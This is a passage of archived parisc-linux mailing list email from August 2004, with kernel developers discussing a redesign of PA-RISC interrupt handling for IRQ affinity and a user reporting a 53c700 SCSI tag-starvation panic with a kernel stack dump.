X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21925

On Tue, Aug 31, 2004 at 01:49:07PM -0400, James Bottomley wrote:
> > Thibaut and I started on this last year but didn't get to finish it.
> > The net result is we have to dump the struct irq_region everywhere 
> > and replace it with a global IRQ array.
> 
> Yes, I looked at your code.

Ah good.

> what I'd like to do is slightly different
> because I would have a static array of the actual CPU interrupts.

Ok. Why?
I'd really like one method to convert GSI to local interrupt numbers.
Doing away with local translations and directly indexing into a global
array seems the most obvious to me.

> > AFAIK, this is only true for HP V-class.
> > And only because of some deficiency in the EPAC (CPU to X-bar chip?).
> > It's not true for every other parisc platform I'm aware of.
> 
> Actually, I meant the way the dino works: My dino device interrupts, the
> dino hits the cpu interrupt, but the interrupt has to be routed back
> into generic dino code to find out who actually interrupted and then
> call their interrupt routine.

Yes , that's correct. Sorry, I wasn't clear. I was quibbling over this bit:
| not all parisc busses allow
| an arbitrary device to send and interrupt to a CPU directly.

The "AFAIK" comment I wrote above really only applies to this statment.
MSI capable PCI devices can master it's own interrupt transaction
below dino.  That does not mean *every* PCI is MSI capable.
In contrast, every GSC device *must* master it's TBI.
And LASI sub devices are neither.

Does that make more sense?

> > SAPIC is a more complicated since it involves multiple parents.
> > But the same idea applies: each interrupt source was one entry
> > in the "region". 
> 
> Yes, I was oversimplifying.  Basically the abstraction is unnecessary
> for the SAPIC, which is why it looks slightly odd there.

But we still want dino/PCI to work. So we have to replace the
existing abstraction with another one...

> 
> > I'd rather see one global array (at least 256 entries) with the CPU
> > (and similar devices) getting a fixed number of consecutive entries.
> > We should probably reserve the first 16 entries for EISA/ISA support
> > like we did before.
> 
> Well, I'd really rather see an IRQ hierarchy.

A single global array can implement a hierarchy as well.
Entries just contain indexes into other parts of the array.

>   Currently our irq list is
> a total fiction ... if we display what we actually have (namely the 32
> or 64 interrupt lines with everything else hanging off them) it's more
> intuitively obvious what's going on.

*nod*

> > It's alot of work. I think that's why thibaut and I ran out of steam
> > before we finished it. I expect much of the work we did before would
> > still apply.
> > 
> > Thibaut, you still have a diff or source laying around from that effort?
> > I might but can't find it right now.
> 
> Well, moving to a single 32/64 global array and treating the older
> busses as special cases hopefully simplifies this ... I 'll see though
> as I get into it.

Ok. Pushing everything into a global array would make the /proc/irq support
alot easier IMHO.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 53c700.c problems with tags?
Date: Tue, 31 Aug 2004 12:39:12 +0200 (CEST)
Lines: 120
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0408311232240.2373@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623537 10877 80.91.229.3 (22 Nov 2014 02:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:17 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2955 invoked by uid 65534); 31 Aug 2004 10:40:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 31 Aug 2004 12:40:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 74B493BE14; Tue, 31 Aug 2004 04:40:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08941-04; Tue, 31 Aug 2004 04:40:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D171F3BDFD; Tue, 31 Aug 2004 04:39:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96C5E3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 04:39:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08941-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 04:39:21 -0600 (MDT)
Original-Received: from mail1.nwe.de (mail1.nwe.de [195.226.126.83])
	by free.linux.hp.com (Postfix) with ESMTP id 0B3FD3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 04:39:21 -0600 (MDT)
Original-Received: from mail3.scram.de (mail3.scram.de [195.226.127.113])
	by localhost (Postfix) with ESMTP id 9560532E97
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:39:19 +0200 (CEST)
Original-Received: from dhcp6.internal.nwe.de (gate.nwe.de [195.226.126.3])
	by mail1.nwe.de (Postfix) with ESMTP id DBF0932E94
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 12:39:11 +0200 (CEST)
X-X-Sender: jochen@localhost
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at scram.de
X-Spam-Status: No, hits=-4.1 tagged_above=-999.0 required=5.0 tests=BAYES_00, 
	SARE_BAYES_5x8
X-Spam-Report: * 0.8 SARE_BAYES_5x8 BODY: Bayes poison 5x8
	* -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
	* [score: 0.0000]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21926

Hi,

when doing heavy io on my 715/64, i sometimes get the following panic:

scsi0 (0:0) Target is suffering from tag starvation.

scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 f2 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x00 00 00 00 00 00
scsi0: Bus Reset detected, executing command 00000000, slot 00000000, dsp
00358] failing command because of reset, slot 00008788, cmnd 103c3000
 failing command because of reset, slot 000088bc, cmnd 103c3200
 failing command because of reset, slot 000089f0, cmnd 103c4800
 failing command because of reset, slot 00008d8c, cmnd 103c3a00
 failing command because of reset, slot 00008ff4, cmnd 103c3a00
 failing command because of reset, slot 0000925c, cmnd 103c3400
 failing command because of reset, slot 00009390, cmnd 103c4c00
 failing command because of reset, slot 00009994, cmnd 103c4e00
 failing command because of reset, slot 00009bfc, cmnd 100f8c00
 failing command because of reset, slot 00009f98, cmnd 103c4600
 failing command because of reset, slot 0000a334, cmnd 103c4200
 failing command because of reset, slot 0000a468, cmnd 103c4a00
 failing command because of reset, slot 0000a6d0, cmnd 103c3800
 failing command because of reset, slot 0000a938, cmnd 103c4400
 failing command because of reset, slot 0000aa6c, cmnd 100f8e00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 4a 00 00 08 00
scsi0: (0:0) Synchronous at offset 8, period 100ns
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 9a 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 65 ca 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 01 4c c0 00 00 10 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 ca 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 7a 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 3a 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 8a 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 aa 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 e2 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 78 e2 00 00 20 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 01 4c 98 00 00 20 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 79 0a 00 00 08 00
scsi0 (0:0) New error handler wants to abort command
        0x28 00 00 18 66 2a 00 00 08 00
scsi0 (0:0) New error handler wants device reset
        0x28 00 00 18 66 f2 00 00 08 00
scsi0 (0:0) New error handler wants BUS reset, cmd 103c3a00
        0x28 00 00 18 66 f2 00 00 08 00
scsi0: Bus Reset detected, executing command 00000000, slot 00000000, dsp
00358]scsi0: (0:0) Synchronous at offset 8, period 100ns
SLOTS FULL, but count is 8, should be 64

Stack Dump:
 10370980:  0004ff0e 101ba834 10370900 10264aa0
 10370970:  00000000 101ba548 103b8a00 103b8a68
 10370960:  00000010 00000020 1010e2c8 0000001f
 10370950:  90080000 ffffffba 00000000 00000002
 10370940:  f000b858 f0000704 00000000 00000001
 10370930:  102f6660 100fa474 100fa49c 1027637c

Kernel addresses on the stack:
 [<101ba834>]  [<101ba548>]  [<1010e2c8>]  [<101b319c>]
 [<101ab4a0>]  [<101ac228>]  [<101b3b80>]  [<101204ac>]
 [<101b319c>]  [<1013df08>]  [<101bb920>]  [<10118604>]
 [<1013f3d4>]  [<101ac228>]  [<101abf70>]  [<1014e684>]
 [<101ba834>]  [<101205fc>]  [<101204ac>]  [<101b30e4>]
 [<101201f4>]  [<101207c4>]  [<10106c4c>]  [<10106cf4>]
 [<101352bc>]  [<101628d4>]  [<101355b8>]  [<10162b5c>]
 [<10121580>]  [<10162b5c>]  [<1012071c>]  [<1012150c>]
 [<10129124>]  [<1011f4bc>]

Kernel Fault: Code=26 regs=10370980 (Addr=00000114)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  00000000 10264810 101ba548 101abdb4
r04-07  10375c00 103b9e00 10311810 00000000
r08-11  103b9eb8 1027637c 100fa49c 100fa474
r12-15  102f6660 00000001 00000000 f0000704
r16-19  f000b858 00000002 00000000 00000000
r20-23  00000001 0000001f 102d13a0 102f6010
r24-27  00000001 00000001 00000003 10254010
r28-31  00000000 ffffe531 10370980 1011b954
sr0-3   00000000 00000129 00000000 00000129
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101ba548 101ba54c
 IIR: 6b850228    ISR: 00000000  IOR: 00000114
 CPU:        0   CR30: 10370000 CR31: 102e0000
 ORIG_R28: 00000002

I tried decreasing the number of tags in 53c700.h, but that made the
problem even worse. However, increasing the number to an insane 128 fixed
the problem for me (and the number of active tags really goes up to 80
while doing heavy io and back to 0 at the end, so i don't blame the
devices for the problem). For now i guess there might be something fishy
with the "starving tag" detection and the attempt to "fix" the situation.

Kernel: 2.4.26-pa7, but any older kernel (tested since 2.4.21) shows the
exact same behaviour.

Thanks,
Jochen
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 13:21:12 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20040831192112.GH20353@colo.lackof.org>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831171421.GC20353@colo.lackof.org>
	<20040831174357.GQ16196@parcelfarce.linux.theplanet.co.uk>
	<20040831180635.GF20353@colo.lackof.org>
	<20040831185750.GS16196@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623537 10878 80.91.229.3 (22 Nov 2014 02:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:17 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30912 invoked by uid 65534); 31 Aug 2004 19:21:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 31 Aug 2004 21:21:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 546D73BDFF; Tue, 31 Aug 2004 13:21:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14252-06; Tue, 31 Aug 2004 13:21:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3FAD53BE2E; Tue, 31 Aug 2004 13:21:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5C9F3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:21:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14039-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:21:13 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 778CA3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:21:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C8A28298121; Tue, 31 Aug 2004 13:21:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23720-09; Tue, 31 Aug 2004 13:21:12 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3DA95298117; Tue, 31 Aug 2004 13:21:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040831185750.GS16196@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21927

On Tue, Aug 31, 2004 at 07:57:50PM +0100, Matthew Wilcox wrote:
> > Looks like that's what ia64 is doing and I don't see a problem with it.
> 
> ia64 doesn't have Lasi.

No, but ia64 supports ISA. :^)
(They have their own evils to deal with)

Seriously, what problem does LASI bring that can't be handled with
a global array?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: 31 Aug 2004 15:44:14 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <1093981554.5296.14.camel@mulgrave>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831171421.GC20353@colo.lackof.org>
	<1093974552.3643.22.camel@mulgrave> 
	<20040831183415.GG20353@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623538 10879 80.91.229.3 (22 Nov 2014 02:32:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:18 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1717 invoked by uid 65534); 31 Aug 2004 19:46:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 31 Aug 2004 21:46:41 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A8EF13BE25; Tue, 31 Aug 2004 13:46:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14899-08; Tue, 31 Aug 2004 13:46:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 92D693BE2E; Tue, 31 Aug 2004 13:46:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF0F33BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:45:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14899-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:45:58 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 14A8B3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:45:58 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i7VJjtJ17219; Tue, 31 Aug 2004 15:45:55 -0400
In-Reply-To: <20040831183415.GG20353@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21928

On Tue, 2004-08-31 at 14:34, Grant Grundler wrote:
> Ok. Why?

Because the only interrupts we can control the affinity of are the true
32/64 CPU interrupts. Everything else is effectively hanging off one of
these. If we try to pretend that we can change the affinity of the
subordinate interrupts, we'll end up confusing irqbalanced

> I'd really like one method to convert GSI to local interrupt numbers.
> Doing away with local translations and directly indexing into a global
> array seems the most obvious to me.

I know, but our interrupt structure isn't a flat array, it's a tree with
the root being a given CPU interrupt.  Obviously, since we have to give
some cookie to the devices to identify the interrupt, we end up having a
numeric array.

> But we still want dino/PCI to work. So we have to replace the
> existing abstraction with another one...

Yes, the abstraction for dino/PCI is that we allocate extra interrupts
to the region, but they're unequivocally tied to the give CPU interrupt
line the dino happens to be using.

> A single global array can implement a hierarchy as well.
> Entries just contain indexes into other parts of the array.

Yes, but we need to expose only the cpu interrupts to irqbalanced.  The
problem is that for the purposes of affinity, we can't treat the
fictitious subordinate interrupts as being ordinary independent
interrupts.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 13:48:37 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20040831194837.GA24477@colo.lackof.org>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831171421.GC20353@colo.lackof.org>
	<20040831174357.GQ16196@parcelfarce.linux.theplanet.co.uk>
	<20040831180635.GF20353@colo.lackof.org>
	<20040831185750.GS16196@parcelfarce.linux.theplanet.co.uk>
	<20040831192112.GH20353@colo.lackof.org>
	<20040831192811.GB642@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623538 10881 80.91.229.3 (22 Nov 2014 02:32:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:18 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1201 invoked by uid 65534); 31 Aug 2004 19:49:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 31 Aug 2004 21:49:07 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4F99A3BE9A; Tue, 31 Aug 2004 13:48:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15060-10; Tue, 31 Aug 2004 13:48:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6464B3BE9D; Tue, 31 Aug 2004 13:48:44 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62EC63BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:48:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15060-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:48:39 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E96473BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:48:38 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 62A26298121; Tue, 31 Aug 2004 13:48:38 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24464-06; Tue, 31 Aug 2004 13:48:37 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CA974298056; Tue, 31 Aug 2004 13:48:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040831192811.GB642@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
